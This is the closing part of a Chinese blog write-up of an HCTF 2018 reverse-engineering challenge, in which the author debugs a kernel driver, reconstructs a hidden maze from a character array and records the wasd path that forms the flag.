接着就可以着手调试了,F10 和 F11 对应着 OD 的 F7 和 F8,通过调试可以理解这个函数的目的,它多次对内置的一个字符数组进行操作,在 IDA 中这个数组是:
image

看上去没什么意义,但是根据经验推断,这个应该是一种迷宫,最后对是否到达字符 ‘7’ 进行验证,猜测是要把 o 移动到 7 的位置,在 windbg 中随便调整了一下宽度,得出了迷宫:
image

一个 7 型迷宫,使用 wasd 操控 o 走到 7 就胜利了!
走一波记录下来每一步的操作,到最后一步的时候单步调试,查看 Dbgprint 函数的参数就是 The input is the flag!,表示输入正确。

flag: hctf{ddddddddddddddssaasasasasasasasasas}

小总结

调试驱动这是第一次,把环境搭好之后就可以像调试正常可执行程序一样调试内核和驱动了。
这道题目的数组应该是一维的,导致静态分析难一些,动态调试就很简单。

  • Title: HCTF 2018
  • Author: Catalpa
  • Created at : 2018-11-09 00:00:00
  • Updated at : 2024-10-17 08:49:33
  • Link: https://wzt.ac.cn/2018/11/09/HCTF2018/
  • License: This work is licensed under CC BY-NC-SA 4.0.